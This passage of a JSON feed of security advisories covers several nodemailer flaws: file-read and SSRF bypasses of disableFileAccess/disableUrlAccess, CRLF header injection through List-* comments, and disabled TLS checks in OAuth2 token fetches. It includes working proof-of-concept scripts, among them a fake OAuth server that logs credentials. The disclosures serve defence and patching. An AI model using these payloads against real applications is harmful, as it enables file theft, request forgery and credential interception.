GHSA-wqvq-jvpq-h66f for exactly this \"untrusted input + flag set\"\n   model. The asymmetry — attachment `{path}` is blocked but `raw:{path}` is not — is the bug, and\n   the PoC's CONTROL case proves the flag is otherwise effective on the same file.\n2. **\"The raw node inherits the flags via rootNode.\"** Rejected by code and by PoC: `compile():35`\n   constructs the node with `{ newline }` only; `MimeNode` constructor sets\n   `this.disableFileAccess = !!options.disableFileAccess` → `false`; `rootNode` is itself; no\n   inheritance exists.\n3. **\"The PoC leaks for an unrelated reason.\"** Rejected: the CONTROL message (`attachments:[{path}]`,\n   same file, same transporter) returns `EFILEACCESS`; only the `raw:{path}` message leaks. The\n   sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only\n   obtainable by an actual fetch. Both observables are uniquely bound to the bypass.\n4. **\"Maybe only jsonTransport (already reported) is affected.\"** Rejected: the PoC uses\n   `streamTransport` and the root cause is in `MailComposer.compile()` (`mailer:188`), shared by all\n   transports; jsonTransport is a different (already-fixed) path.\n\nI could not find any guard that blocks the chain; the finding survives.\n\n## Proof of concept (safe, benign)\n\n`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no network egress (loopback only),\nno destructive action. Output:\n```\n[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here\n[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message\n[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)\nVERDICT: CONFIRMED\n```\nRun: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed).\n\n## Remediation\n\nThread the access policy onto the `raw` root node, exactly as the other builders do:\n```js\nif (this.mail.raw) {\n    this.message = new MimeNode('message/rfc822', {\n        newline: this.mail.newline,\n        disableFileAccess: this.mail.disableFileAccess,\n        disableUrlAccess: this.mail.disableUrlAccess\n    }).setRaw(this.mail.raw);\n}\n```\n(Defense in depth: `setRaw`/`_getStream` could also refuse `{path}`/`{href}` raw content when either\nflag is set, regardless of how the node was constructed.) Add a regression test asserting that\n`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS` when the flags are set, mirroring\nthe attachment tests.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-18T14:28:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f","https://github.com/Sif-0x01/security-advisories/security/advisories/GHSA-68x8-4h5v-r533","https://nvd.nist.gov/vuln/detail/CVE-2026-82659","https://github.com/nodemailer/nodemailer/commit/a82e060d978f27e5f41369a9a9807b1e3dedc2e2","https://github.com/nodemailer/nodemailer/releases/tag/v9.0.1","https://www.vulncheck.com/advisories/nodemailer-before-9.0.1-file-read-and-ssrf-via-raw-option","https://github.com/advisories/GHSA-p6gq-j5cr-w38f"],"source_kind":"github","identifiers":["GHSA-p6gq-j5cr-w38f","CVE-2026-82659"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T15:00:09.311Z","updated_at":"2026-10-26T21:02:53.896Z","epss_percentage":0.00349,"epss_percentile":0.28208,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNmdxLWo1Y3ItdzM4Zs4ABZFy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNmdxLWo1Y3ItdzM4Zs4ABZFy","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"9.0.1","vulnerable_version_range":"\u003c= 9.0.0"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNmdxLWo1Y3ItdzM4Zs4ABZFy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNjhoLWhwNGMtY3JxM84ABYrj","url":"https://github.com/advisories/GHSA-268h-hp4c-crq3","title":"Nodemailer: CRLF injection in Nodemailer List-* header comments allows arbitrary message header injection","description":"### Summary\n\nNodemailer constructs `List-*` headers from the caller-provided `list` message option using internally prepared header values. The `list.*.comment` field is inserted into those prepared values without removing CR (`\\r`) or LF (`\\n`) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to `mimeFuncs.foldLines()`, a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.\n\nAn application that lets a lower-privileged or unauthenticated user influence `list.help.comment`, `list.unsubscribe.comment`, `list.subscribe.comment`, `list.post.comment`, `list.owner.comment`, `list.archive.comment`, or `list.id.comment` can therefore be made to generate messages containing attacker-chosen additional headers.\n\n### Details\nSource-to-sink evidence:\n\n- `lib/mailer/mail-message.js:241-249` calls `_getListHeaders(this.data.list)` and adds each returned value with `this.message.addHeader(listHeader.key, value)`.\n- `lib/mailer/mail-message.js:253-296` builds each list header value as `{ prepared: true, foldLines: true, value: ... }`.\n- For `List-ID`, `lib/mailer/mail-message.js:272-279` copies `value.comment` into the generated header value. If `mimeFuncs.isPlainText(comment)` returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.\n- For the other `List-*` headers, `lib/mailer/mail-message.js:283-288` copies `value.comment` into `(\u003ccomment\u003e)`. If `mimeFuncs.isPlainText(comment)` returns true, the value is not encoded or CRLF-normalized.\n- `lib/mime-node/index.js:323-351` accepts the prepared header object.\n- `lib/mime-node/index.js:533-540` trusts `options.prepared`; when `foldLines` is set, it pushes `mimeFuncs.foldLines(key + ': ' + value)` directly into the header block.\n- The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.\n- `lib/mailer/mail-message.js:299-308` removes whitespace and angle brackets from `list.*.url`, so the confirmed injection source is the `comment` field, not the URL field.\n\nDefault/common exposure evidence:\n\n- `lib/nodemailer.js:21-60` exposes the public `createTransport(...).sendMail(...)` flow used by the package.\n- `examples/full.js:106-123` documents `list.unsubscribe.comment` and `list.id.comment` as normal message options.\n- The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.\n\nFalse-positive screening and negative controls:\n\n- SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.\n- Ordinary `subject` header input containing CRLF was normalized to a single `Subject:` header and did not create `X-Injected` in the local control case.\n- Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.\n- `prepared: true` custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented `list.*.comment` option.\n\nVariant analysis:\n\nLocal testing confirmed the same root cause for comments in `List-Help`, `List-Unsubscribe`, `List-Subscribe`, `List-Post`, `List-Owner`, `List-Archive`, and `List-ID`. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.\n\nAffected version evidence and uncertainty:\n\n- Confirmed vulnerable: `nodemailer` 8.0.8 at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`.\n- Git history shows `_getListHeaders` present in historical commits including `22fcff8` (`v4.3.0`) and related list-header work in `9b4f90a` (`v3.1.8`), but older versions were not dynamically tested during this audit.\n- Affected range is therefore recorded as unknown beyond the confirmed current version.\n- No patched version was identified in this checkout.\n\nSeverity rationale:\n\n- AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.\n- AC: A single CRLF sequence in a documented message option triggers the issue.\n- PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.\n- UI: No maintainer or victim interaction is needed after the application accepts the message object.\n- S: The impact remains in the application/mail-generation security scope.\n- C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.\n- A: No availability impact was demonstrated.\n\nFinal self-review:\n\n- Reproduction evidence was generated locally from this checkout with a safe in-memory `streamTransport` PoC and a negative `Subject` control case.\n- The PoC is non-destructive and does not send network traffic outside the process.\n- The observed output contains an actual CRLF-delimited injected header line.\n- Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.\n- The affected range is not overclaimed; only the current tested version is confirmed vulnerable.\n\n### PoC\n\nFrom a clean checkout of `nodemailer` at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`, run:\n\n```bash\nnode \u003c\u003c'NODE'\n'use strict';\nconst nodemailer = require('./');\nconst headersEnd = raw =\u003e raw.slice(0, raw.indexOf('\\r\\n\\r\\n'));\nconst hasStandaloneInjected = raw =\u003e /\\r\\nX-Injected: yes\\)/.test(raw) || /\\r\\nX-Injected: yes\\r\\n/.test(raw);\n(async () =\u003e {\n  const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });\n  const positive = await transport.sendMail({\n    from: 'sender@example.test',\n    to: 'recipient@example.test',\n    subject: 'control',\n    list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\\r\\nX-Injected: yes' } },\n    text: 'body'\n  });\n  const positiveRaw = positive.message.toString('utf8');\n  console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));\n  console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\\r\\n').filter(line =\u003e /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\\n')));\n\n  const control = await transport.sendMail({\n    from: 'sender@example.test',\n    to: 'recipient@example.test',\n    subject: 'safe\\r\\nX-Injected: no',\n    text: 'body'\n  });\n  const controlRaw = control.message.toString('utf8');\n  console.log('CONTROL_HAS_INJECTED=' + /\\r\\nX-Injected: no\\r\\n/.test(controlRaw));\n  console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\\r\\n').filter(line =\u003e /^Subject:|^X-Injected:/.test(line)).join('\\n')));\n\n  const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];\n  const result = [];\n  for (const key of variantKeys) {\n    const info = await transport.sendMail({\n      from: 'sender@example.test',\n      to: 'recipient@example.test',\n      subject: 'variant ' + key,\n      list: Object.assign({}, { [key]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\\r\\nX-Variant-' + key + ': yes' } }),\n      text: 'body'\n    });\n    result.push(key + '=' + new RegExp('\\\\r\\\\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));\n  }\n  console.log('VARIANTS=' + result.join(','));\n})().catch(err =\u003e { console.error(err \u0026\u0026 err.stack || err); process.exit(1); });\nNODE\n```\n\nObserved output in this environment:\n\n```text\nPOSITIVE_HAS_INJECTED=true\nPOSITIVE_LIST_LINE=\"List-Unsubscribe: \u003chttps://example.test/u\u003e (ok\\nX-Injected: yes)\"\nCONTROL_HAS_INJECTED=false\nCONTROL_SUBJECT=\"Subject: safe X-Injected: no\"\nVARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true\n```\n\nExpected vulnerable output: `POSITIVE_HAS_INJECTED=true` and all listed variants ending in `=true`. Expected negative/control output: `CONTROL_HAS_INJECTED=false`, showing the ordinary `Subject` header path does not create a separate injected header.\n\nCleanup: none required; the PoC uses only in-memory message generation.\n\n### Impact\n\nA lower-privileged attacker who can influence `list.*.comment` fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.\n\n### Suggested remediation\n\nNormalize or reject CR and LF in `list.*.comment` before constructing prepared `List-*` headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using `prepared: true` for caller-controlled list comment content. Add regression tests for CRLF in every documented `list` comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T17:36:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-268h-hp4c-crq3","https://github.com/advisories/GHSA-268h-hp4c-crq3"],"source_kind":"github","identifiers":["GHSA-268h-hp4c-crq3"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T18:00:08.064Z","updated_at":"2026-10-24T21:02:43.105Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNjhoLWhwNGMtY3JxM84ABYrj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNjhoLWhwNGMtY3JxM84ABYrj","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"8.0.9","vulnerable_version_range":"\u003c= 8.0.8"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNjhoLWhwNGMtY3JxM84ABYrj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cXZxLWp2cHEtaDY2Zs4ABYri","url":"https://github.com/advisories/GHSA-wqvq-jvpq-h66f","title":"Nodemailer jsonTransport bypasses disableFileAccess and disableUrlAccess during message normalization","description":"### Summary\n\nNodemailer's `disableFileAccess` and `disableUrlAccess` options are intended to prevent message content and attachments from reading local files or fetching URLs. The normal MIME streaming path enforces those options in `MimeNode._getStream()`. However, `jsonTransport` serializes messages by calling `mail.normalize()`, which resolves `html`, `text`, alternatives, calendar events, and attachments through `shared.resolveContent()` before MIME generation. `shared.resolveContent()` reads local files and fetches HTTP(S) URLs directly, without receiving or checking `disableFileAccess` or `disableUrlAccess`.\n\nAs a result, applications that use `jsonTransport` as a safe serializer or queue payload generator while relying on `disableFileAccess` / `disableUrlAccess` can still be made to read local files into the generated JSON output or make outbound HTTP requests when an attacker controls message content fields such as attachment `path` or `text.href`.\n\nThe same missing-enforcement root cause is also reachable before normal streaming when `attachDataUrls` causes `_convertDataImages()` to call `mail.resolveContent(mail.data, 'html', ...)`; this should be fixed with the same access-control check.\n\n### Details\nSource-to-sink evidence:\n\n- `lib/nodemailer.js:42-45` selects `JSONTransport` when `createTransport({ jsonTransport: true, ... })` is used.\n- `lib/mailer/mail-message.js:34-39` copies transport-level `disableFileAccess` and `disableUrlAccess` options into `mail.data`.\n- `lib/json-transport/index.js:52-76` serializes mail by calling `mail.normalize((err, data) =\u003e ...)`.\n- `lib/mailer/mail-message.js:46-135` implements `resolveAll()` and calls `shared.resolveContent(...args, ...)` for `html`, `text`, `watchHtml`, `amp`, `icalEvent`, alternatives, and attachments.\n- `lib/shared/index.js:506-562` implements `resolveContent()`.\n- `lib/shared/index.js:540-541` fetches HTTP(S) content with `nmfetch(content.path || content.href)`.\n- `lib/shared/index.js:549-550` reads local files with `fs.createReadStream(content.path)`.\n- `shared.resolveContent()` does not check `disableFileAccess` or `disableUrlAccess` and does not receive those flags.\n\nControl path showing intended enforcement:\n\n- `lib/mail-composer/index.js:358-359`, `lib/mail-composer/index.js:367-368`, and sibling child-node creation paths pass `disableUrlAccess` and `disableFileAccess` into `MimeNode`.\n- `lib/mime-node/index.js:51-52` stores those flags.\n- `lib/mime-node/index.js:984-995` rejects file paths with `EFILEACCESS` when `disableFileAccess` is set.\n- `lib/mime-node/index.js:998-1009` rejects URLs with `EURLACCESS` when `disableUrlAccess` is set.\n- `test/mail-composer/mail-composer-test.js:1028-1044` includes a normal MIME-streaming test that expects file access to be blocked when `disableFileAccess: true`.\n\nAdditional same-root-cause variant:\n\n- `lib/mailer/index.js:406-434` implements `_convertDataImages()` for `attachDataUrls`.\n- `lib/mailer/index.js:407-410` calls `mail.resolveContent(mail.data, 'html', ...)` when `attachDataUrls` is enabled and `mail.data.html` is present.\n- Because `mail.resolveContent()` delegates to `shared.resolveContent()` at `lib/mailer/mail-message.js:42-44`, an object-form `html: { path: ... }` or `html: { href: ... }` can be resolved before the later MIME streaming enforcement sees the content.\n- This variant requires `attachDataUrls` to be enabled, so the main reportable default/common path is `jsonTransport`; both should be fixed by enforcing access flags inside the pre-resolution helper or passing policy into it.\n\nDefault/common exposure evidence:\n\n- `jsonTransport` is a shipped runtime transport selected by public `createTransport` options.\n- `test/json-transport/json-transport-test.js:9-83` demonstrates that `jsonTransport` intentionally resolves file-backed `html` and attachments into JSON output.\n- `disableFileAccess` and `disableUrlAccess` are documented by code and tests as security controls and are copied from transport options into message data for all transports.\n- The bypass does not require test-only code, external infrastructure, unsupported configuration, or maintainer-only APIs.\n\nFalse-positive screening and negative controls:\n\n- The local PoC used the same `disableFileAccess: true` and `disableUrlAccess: true` transport options for both `jsonTransport` and normal `streamTransport` controls.\n- `jsonTransport` read the temporary local fixture file and embedded the content in JSON despite `disableFileAccess: true`.\n- `streamTransport` with the same attachment and `disableFileAccess: true` rejected with `EFILEACCESS`.\n- `jsonTransport` fetched a local HTTP listener despite `disableUrlAccess: true`.\n- `streamTransport` with the same URL and `disableUrlAccess: true` rejected with `EURLACCESS`.\n- The local URL proof used only `127.0.0.1` and did not contact external infrastructure.\n\nAffected version evidence and uncertainty:\n\n- Confirmed vulnerable: `nodemailer` 8.0.8 at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`.\n- Git history shows `jsonTransport` has existed since commit `d78b63b` (2017-02-09, \"Added test for json transport\"), and `disableFileAccess` appears in historical setup commit `6218b8d` (2017-01-31), but older versions were not dynamically tested during this audit.\n- Affected range is therefore recorded as unknown beyond the confirmed current version.\n- No patched version was identified in this checkout.\n\nSeverity rationale:\n\n- AV: The vulnerable library path is typically reached through an application-level message submission or rendering/queueing feature.\n- AC: A single message field using `path` or `href` triggers the bypass when `jsonTransport` is used.\n- PR: Conservative assumption that the attacker is a lower-privileged user of an application that accepts partially user-controlled message objects. Some deployments may expose this unauthenticated, but that was not assumed.\n- UI: No user interaction is required after the application accepts the message object.\n- S: The impact remains in the embedding application/library security scope.\n- C: Local file contents can be copied into the generated JSON output when the application later stores, logs, returns, or forwards that JSON.\n- I: The attacker can induce outbound HTTP requests to attacker-chosen or internal URLs from the application host when URL access was intended to be disabled.\n- A: No availability impact was demonstrated; the PoC used bounded local files and a localhost listener only.\n\nFinal self-review:\n\n- Reproduction evidence was generated locally from this checkout using only a temporary file under the OS temp directory and a local `127.0.0.1` HTTP listener.\n- The PoC included positive proof for file read and URL fetch, plus negative controls showing normal `streamTransport` rejects the same inputs with `EFILEACCESS` and `EURLACCESS`.\n- The proof is non-destructive, performs no external network traffic, and deletes its temporary fixture.\n- Reachability, package exposure, policy-enforcement bypass, same-root-cause variant, and false-positive controls were checked as described above.\n- The affected range is not overclaimed; only the current tested version is confirmed vulnerable.\n\n### PoC\n\nFrom a clean checkout of `nodemailer` at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`, run:\n\n```bash\nnode \u003c\u003c'NODE'\n'use strict';\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\nconst http = require('http');\nconst nodemailer = require('./');\nconst marker = 'NM_JSON_BYPASS_' + Date.now();\nconst fixture = path.join(os.tmpdir(), 'nodemailer-json-bypass-' + process.pid + '.txt');\nfs.writeFileSync(fixture, marker);\nfunction sendMail(transport, data) {\n  return new Promise((resolve, reject) =\u003e transport.sendMail(data, (err, info) =\u003e err ? reject(err) : resolve(info)));\n}\n(async () =\u003e {\n  const jsonTransport = nodemailer.createTransport({ jsonTransport: true, disableFileAccess: true, disableUrlAccess: true });\n  const jsonInfo = await sendMail(jsonTransport, {\n    from: 'sender@example.test',\n    to: 'recipient@example.test',\n    subject: 'json file bypass',\n    text: 'body',\n    attachments: [{ filename: 'secret.txt', path: fixture }]\n  });\n  const jsonMessage = JSON.parse(jsonInfo.message);\n  const decoded = Buffer.from(jsonMessage.attachments[0].content, 'base64').toString('utf8');\n  console.log('JSON_FILE_BYPASS=' + (decoded === marker));\n  console.log('JSON_FILE_CONTENT=' + decoded);\n\n  const streamTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableFileAccess: true });\n  try {\n    await sendMail(streamTransport, {\n      from: 'sender@example.test',\n      to: 'recipient@example.test',\n      subject: 'stream control',\n      text: 'body',\n      attachments: [{ filename: 'secret.txt', path: fixture }]\n    });\n    console.log('STREAM_FILE_CONTROL=NO_ERROR');\n  } catch (err) {\n    console.log('STREAM_FILE_CONTROL=' + err.code);\n  }\n\n  const server = http.createServer((req, res) =\u003e {\n    console.log('LOCAL_HTTP_REQUEST=' + req.method + ' ' + req.url);\n    res.end('LOCAL_HTTP_MARKER');\n  });\n  await new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n  const url = 'http://127.0.0.1:' + server.address().port + '/private';\n  const jsonUrlInfo = await sendMail(jsonTransport, {\n    from: 'sender@example.test',\n    to: 'recipient@example.test',\n    subject: 'json url bypass',\n    text: { href: url }\n  });\n  const jsonUrlMessage = JSON.parse(jsonUrlInfo.message);\n  console.log('JSON_URL_BYPASS=' + (jsonUrlMessage.text === 'LOCAL_HTTP_MARKER'));\n  const streamUrlTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableUrlAccess: true });\n  try {\n    await sendMail(streamUrlTransport, {\n      from: 'sender@example.test',\n      to: 'recipient@example.test',\n      subject: 'stream url control',\n      text: { href: url }\n    });\n    console.log('STREAM_URL_CONTROL=NO_ERROR');\n  } catch (err) {\n    console.log('STREAM_URL_CONTROL=' + err.code);\n  }\n  server.close();\n  fs.unlinkSync(fixture);\n})().catch(err =\u003e { try { fs.unlinkSync(fixture); } catch (E) {} console.error(err \u0026\u0026 err.stack || err); process.exit(1); });\nNODE\n```\n\nObserved output in this environment:\n\n```text\nJSON_FILE_BYPASS=true\nJSON_FILE_CONTENT=NM_JSON_BYPASS_1779802076150\nSTREAM_FILE_CONTROL=EFILEACCESS\nLOCAL_HTTP_REQUEST=GET /private\nJSON_URL_BYPASS=true\nSTREAM_URL_CONTROL=EURLACCESS\n```\n\nExpected vulnerable output: `JSON_FILE_BYPASS=true`, the printed temporary marker in `JSON_FILE_CONTENT`, a `LOCAL_HTTP_REQUEST=GET /private` line, and `JSON_URL_BYPASS=true`. Expected negative/control output: `STREAM_FILE_CONTROL=EFILEACCESS` and `STREAM_URL_CONTROL=EURLACCESS`, showing the same policy flags work in the normal streaming transport.\n\nCleanup: the PoC removes its temporary fixture file before exiting and closes the local HTTP server.\n\n### Impact\n\nIf an application uses `jsonTransport` to safely serialize or queue partially user-controlled Nodemailer message objects while relying on `disableFileAccess` / `disableUrlAccess`, an attacker can bypass those protections. The file-read variant can copy local file contents into the generated JSON message output. The URL-fetch variant can force outbound HTTP requests from the application host to local or internal services despite URL access being disabled. The impact depends on what message fields the embedding application exposes and where it stores or returns the generated JSON, but the local PoC confirms both protected sink operations are reached.\n\n### Suggested remediation\n\nEnforce `disableFileAccess` and `disableUrlAccess` inside `shared.resolveContent()` or pass an explicit policy object into every pre-resolution call and reject protected `path` / `href` values before opening files or fetching URLs. Apply the same fix to `jsonTransport` normalization and the `attachDataUrls` pre-plugin path. Add regression tests showing `jsonTransport` returns `EFILEACCESS` / `EURLACCESS` for file and URL content when those flags are set, and that `attachDataUrls` cannot resolve object-form `html.path` / `html.href` when the corresponding access flag is disabled.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T17:35:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wqvq-jvpq-h66f","https://github.com/advisories/GHSA-wqvq-jvpq-h66f"],"source_kind":"github","identifiers":["GHSA-wqvq-jvpq-h66f"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T18:00:08.064Z","updated_at":"2026-10-24T21:02:43.106Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cXZxLWp2cHEtaDY2Zs4ABYri","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cXZxLWp2cHEtaDY2Zs4ABYri","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"8.0.9","vulnerable_version_range":"\u003c= 8.0.8"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cXZxLWp2cHEtaDY2Zs4ABYri/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yN2c0LXFnNWYtcXFtMs4ABYrh","url":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2","title":"Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","description":"### Summary\nNodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.\n\nAs a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.\n\nAn attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:\n\n- OAuth client_secret\n- refresh_token\n- access tokens\n\nThe issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.\n\n### Details\nRoot Cause\n\nThe issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.\n\nInside:\n\n`lib/fetch/index.js`\n\nthe request options contain:\n\n`rejectUnauthorized: false`\n\nThis disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.\n\nAs a result:\n\n- self-signed certificates are trusted\n- invalid CA chains are accepted\n- hostname validation is bypassed\n- attacker-controlled HTTPS endpoints are treated as trusted\n\nThis violates expected HTTPS security guarantees.\n\n**Vulnerable Flow**\n\nThe vulnerable execution chain is:\n\nOAuth2 Transport\n        ↓\nXOAuth2 token generation\n        ↓\nInternal HTTPS fetch client\n        ↓\nHTTPS request with rejectUnauthorized:false\n        ↓\nAttacker-controlled/self-signed endpoint trusted\n        ↓\nOAuth credentials **transmitted**\n\n\n### PoC\n**Environment**\n#### Mail API (app/server.js)\n```\nconst express = require(\"express\");\nconst nodemailer = require(\"nodemailer\");\nrequire(\"dotenv\").config();\n\nconst app = express();\n\napp.use(express.json());\n\nconst transporter = nodemailer.createTransport({\n    host: process.env.SMTP_HOST,\n    port: process.env.SMTP_PORT,\n    secure: false,\n    auth: {\n        user: process.env.SMTP_USER,\n        pass: process.env.SMTP_PASS\n    }\n});\n\napp.post(\"/send\", async (req, res) =\u003e {\n    try {\n        const { to, subject, text, html } = req.body;\n\n        const info = await transporter.sendMail({\n            from: `\"Mailer\" \u003c${process.env.SMTP_USER}\u003e`,\n            to,\n            subject,\n            text,\n            html\n        });\n\n        res.json({\n            success: true,\n            messageId: info.messageId\n        });\n\n    } catch (err) {\n        console.error(err);\n        res.status(500).json({\n            success: false,\n            error: err.message\n        });\n    }\n});\n\napp.listen(process.env.PORT, () =\u003e {\n    console.log(`Mailer running on port ${process.env.PORT}`);\n});\n```\n\n#### Malicious HTTPS OAuth Server (poc/evil-oauth.js)\n\n```\nconst https = require('https');\nconst fs = require('fs');\n\nhttps.createServer({\n    key: fs.readFileSync('./key.pem'),\n    cert: fs.readFileSync('./cert.pem')\n}, (req, res) =\u003e {\n\n    console.log('\\n==== REQUEST INTERCEPTED ====');\n    console.log(req.method, req.url);\n\n    let body = '';\n\n    req.on('data', chunk =\u003e {\n        body += chunk;\n    });\n\n    req.on('end', () =\u003e {\n\n        console.log('\\nPOST BODY:');\n        console.log(body);\n\n        res.writeHead(200, {\n            'Content-Type': 'application/json'\n        });\n\n        res.end(JSON.stringify({\n            access_token: 'attacker_token',\n            expires_in: 3600\n        }));\n    });\n\n}).listen(8443, () =\u003e {\n    console.log('Malicious HTTPS OAuth server listening on 8443');\n});\n```\n\n#### Nodemailer OAuth2 Test (test.js)\n\n```\nconst nodemailer = require('./');\n\nconst transporter = nodemailer.createTransport({\n    service: 'gmail',\n\n    auth: {\n        type: 'OAuth2',\n\n        user: 'redacted@example.com',\n\n        clientId: 'CLIENT_ID_REDACTED',\n        clientSecret: 'CLIENT_SECRET_REDACTED',\n\n        refreshToken: 'REFRESH_TOKEN_REDACTED',\n\n        accessUrl: 'https://localhost:8443/token'\n    }\n});\n\ntransporter.sendMail({\n    from: 'redacted@example.com',\n    to: 'redacted@example.com',\n    subject: 'PoC',\n    text: 'test'\n\n}, (err, info) =\u003e {\n\n    console.log('\\n==== NODEMAILER RESULT ====');\n\n    if (err) {\n        console.error(err);\n    } else {\n        console.log(info);\n    }\n});\n```\n**Steps to Reproduce**\n\n- Start malicious HTTPS OAuth server:\n- node poc/evil-oauth.js\n- Run Nodemailer OAuth2 test:\n- node test.js\n- Observe intercepted OAuth2 request body on the malicious HTTPS server.\n\n**PIC**\n\u003cimg width=\"1919\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516\" /\u003e\n\n### Impact\n\n- OAuth credential theft\n- unauthorized email access\n- persistent token abuse\n- unauthorized mail sending\n- mailbox compromise\n- interception/tampering of OAuth responses\n\nThe issue effectively downgrades HTTPS security protections for sensitive OAuth credential 